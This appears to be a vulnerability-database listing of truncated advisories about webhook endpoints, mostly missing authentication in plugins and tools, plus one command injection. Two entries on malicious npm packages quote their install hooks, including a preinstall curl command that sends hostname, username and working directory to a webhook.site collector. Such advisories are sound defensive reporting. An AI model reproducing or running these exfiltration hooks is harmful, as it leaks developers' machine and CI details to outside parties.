CVE-2026-7664

Summary: IBM Langflow OSS versions 1.0.0–1.8.4 are affected by an unauthenticated access issue due to improper authorization enforcement on the Streamable MCP transport endpoint, potentially allowing access to protected MCP project resources and execution of MCP operations. Affected products/vers...

Security Bulletin: Unauthenticated Flow Execution via Webhook Endpoint in Langflow OSS

Summary Langflow OSS POST /api/v1/webhook/flowid executes any user's flow without authentication by default. Setting WEBHOOKAUTHENABLE defaults to False in auth configuration. When False, webhook handler calls getuserbyflowidorendpointname and trusts caller unconditionally with no credential chec...

EUVD-2026-37995

The STRABL – A checkout solution plugin for WordPress is vulnerable to Missing Authentication in all versions up to and including 4.5. The plugin registers a REST API webhook endpoint at /wp-json/strabl/webhook/order with a permissioncallback of returntrue, which allows all incoming requests...

CVE-2026-3640 STRABL <= 4.5 - Unauthenticated Arbitrary Webhook Creation via REST API Endpoint

The STRABL – A checkout solution plugin for WordPress is vulnerable to Missing Authentication in all versions up to and including 4.5. The plugin registers a REST API webhook endpoint at /wp-json/strabl/webhook/order with a permissioncallback of returntrue, which allows all incoming requests...

CVE-2026-3640

The STRABL WordPress plugin (versions

EUVD-2026-36773

Incorrect access control in the /form/webhooks/webhook endpoint of Deck9 Input v2.0.1 allows authenticated attackers to arbitrarily modify or delete another tenant's webhook via a crafted request...

CVE-2026-50875

Incorrect access control in the /form/webhooks/webhook endpoint of Deck9 Input v2.0.1 allows authenticated attackers to arbitrarily modify or delete another tenant's webhook via a crafted request...

Malicious code in dms-backend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bd479ea3869dae33e183f9164c4e9c7c11a2170728288012647fe2af4d55426e package.json declares a preinstall lifecycle script that runs curl --data-urlencode "info=$hostname && whoami && pwd" against a webhook.site collecto...

PT-2026-49316

Name of the Vulnerable Software and Affected Versions Deck9 Input version 2.0.1 Description Incorrect access control in the "/form/webhooks/webhook" endpoint allows authenticated attackers to arbitrarily modify or delete webhooks belonging to other tenants by sending a crafted request...

CVE-2026-50875

Incorrect access control in the /form/webhooks/webhook endpoint of Deck9 Input v2.0.1 allows authenticated attackers to arbitrarily modify or delete another tenant's webhook via a crafted request...

Budibase: Webhook schema endpoint authorization bypass allows unauthenticated mutation of webhook and automation schema

The webhook schema-building endpoint is registered under builderRoutes, but the generic authorization middleware skips authorization for all paths matching /api/webhooks/schema. As a result, an unauthenticated caller can update the body schema for a known webhook and mutate the corresponding...

Malicious code in getd-pantallas-cliente (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 89a26267435645776aa984be114d5c657e63fa9937ff044e5ddd24943b28ea6e On npm install, postinstall.js collects os.hostname, os.userInfo.username, os.platform, process.cwd, and CI/build environment variables and sends the...

CVE-2026-7792 WPForms <= 1.10.0.4 - Unauthenticated Insufficient Verification of Data Authenticity via PayPal Commerce Webhook Endpoint

The WPForms – Easy Form Builder for WordPress – Contact Forms, Payment Forms, Surveys, & More plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to and including 1.10.0.1. This is due to the PayPal Commerce webhook endpoint processing unauthenticat...

CVE-2026-7113

A vulnerability was found in NousResearch hermes-agent 0.8.0. Affected by this issue is some unknown functionality of the file gateway/platforms/webhook.py of the component Webhooks Endpoint. The manipulation of the argument INSECURENOAUTH results in missing authentication. The attack can be...

CVE-2026-10224

A security vulnerability has been detected in NousResearch hermes-agent up to 2026.4.30. This vulnerability affects the function handlewebhookrequest of the file gateway/platforms/feishu.py of the component Webhook Endpoint. Such manipulation leads to resource consumption. The attack can be...

CVE-2026-39969

TypeBot is a chatbot builder tool. In versions 3.16.0 and prior, the WhatsApp Cloud API webhook endpoint POST /v1/workspaces/workspaceId/whatsapp/credentialsId/webhook does not verify the x-hub-signature-256 HMAC signature included by Meta in every webhook delivery. The webhook URL exposes both...

CVE-2026-10273

A vulnerability was found in php-censor up to 2.1.6. This affects an unknown function of the file src/Model/Build/GitBuild.php of the component Webhook Endpoint. Performing a manipulation of the argument commitId results in os command injection. The attack can be initiated remotely. The exploit h...

CVE-2026-10273 php-censor Webhook Endpoint GitBuild.php os command injection

A vulnerability was found in php-censor up to 2.1.6. This affects an unknown function of the file src/Model/Build/GitBuild.php of the component Webhook Endpoint. Performing a manipulation of the argument commitId results in os command injection. The attack can be initiated remotely. The exploit h...

EUVD-2026-33667

A vulnerability was found in php-censor up to 2.1.6. This affects an unknown function of the file src/Model/Build/GitBuild.php of the component Webhook Endpoint. Performing a manipulation of the argument commitId results in os command injection. The attack can be initiated remotely. The exploit h...

CVE-2026-10273

Affected software: php-censor (up to 2.1.6). The vulnerability is in the Webhook Endpoint, specifically the file src/Model/Build/GitBuild.php, where manipulating the commitId argument can lead to operating system command injection. Impact is remote: attacker can exploit over the network. The expl...